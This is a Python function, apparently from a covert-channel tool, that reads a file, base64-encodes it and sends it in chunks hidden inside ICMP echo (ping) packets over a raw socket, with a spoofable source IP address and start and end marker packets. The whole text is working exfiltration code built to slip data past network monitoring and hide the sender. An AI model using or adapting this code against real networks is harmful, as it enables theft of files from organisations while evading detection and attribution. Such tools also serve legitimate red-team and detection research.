def send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLEEP=0.1):
	"""
	send_file will send a file to the ip_addr given.
	A file path is required to send the file.
	Max packet size can be determined automatically.
	:param ip_addr: IP Address to send the file to.
	:param src_ip_addr: IP Address to spoof from. Default it 127.0.0.1.
	:param file_path: Path of the file to send.
	:param max_packetsize: Max packet size. Default is 512.
	:return:
	"""

	if file_path == "":
		sys.stderr.write("No file path given.\n")
		return -1

	# Load file
	fh = open(file_path, READ_BINARY)
	iAmFile = fh.read()
	fh.close()

	# Create Raw Socket
	s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
	s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)

	# Create IP Packet
	ip = ImpactPacket.IP()
	ip.set_ip_src(src_ip_addr)
	ip.set_ip_dst(ip_addr)

	# ICMP on top of IP
	icmp = ImpactPacket.ICMP()
	icmp.set_icmp_type(icmp.ICMP_ECHO)

	seq_id = 0

	# Calculate File:
	IamDone = base64.b64encode(iAmFile)  # Base64 Encode for ASCII
	checksum = zlib.crc32(IamDone)  # Build CRC for the file

	# Fragmentation of DATA
	x = len(IamDone) / max_packetsize
	y = len(IamDone) % max_packetsize

	# Get file name from file path:
	head, tail = os.path.split(file_path)

	# Build stream initiation packet
	current_packet = ""
	current_packet += tail + DATA_SEPARATOR + str(checksum) + DATA_SEPARATOR + str(x + 2) + DATA_TERMINATOR + INIT_PACKET
	icmp.contains(ImpactPacket.Data(current_packet))
	ip.contains(icmp)
	icmp.set_icmp_id(seq_id)
	icmp.set_icmp_cksum(0)
	icmp.auto_checksum = 1
	s.sendto(ip.get_packet(), (ip_addr, 0))
	time.sleep(SLEEP)
	seq_id += 1

	# Iterate over the file
	for i in range(1, x + 2):
		str_send = IamDone[max_packetsize * (i - 1): max_packetsize * i] + DATA_TERMINATOR
		icmp.contains(ImpactPacket.Data(str_send))
		ip.contains(icmp)
		icmp.set_icmp_id(seq_id)
		icmp.set_icmp_cksum(0)
		icmp.auto_checksum = 1
		s.sendto(ip.get_packet(), (ip_addr, 0))
		time.sleep(SLEEP)
		seq_id += 1

	# Add last section
	str_send = IamDone[max_packetsize * i:max_packetsize * i + y] + DATA_TERMINATOR
	icmp.contains(ImpactPacket.Data(str_send))
	ip.contains(icmp)
	seq_id += 1
	icmp.set_icmp_id(seq_id)
	icmp.set_icmp_cksum(0)
	icmp.auto_checksum = 1
	s.sendto(ip.get_packet(), (ip_addr, 0))
	time.sleep(SLEEP)

	# Send termination package
	str_send = (tail + DATA_SEPARATOR + str(checksum) + DATA_SEPARATOR + str(seq_id) + DATA_TERMINATOR + END_PACKET)
	icmp.contains(ImpactPacket.Data(str_send))
	ip.contains(icmp)
	seq_id += 1
	icmp.set_icmp_id(seq_id)
	icmp.set_icmp_cksum(0)
	icmp.auto_checksum = 1
	s.sendto(ip.get_packet(), (ip_addr, 0))

	return 0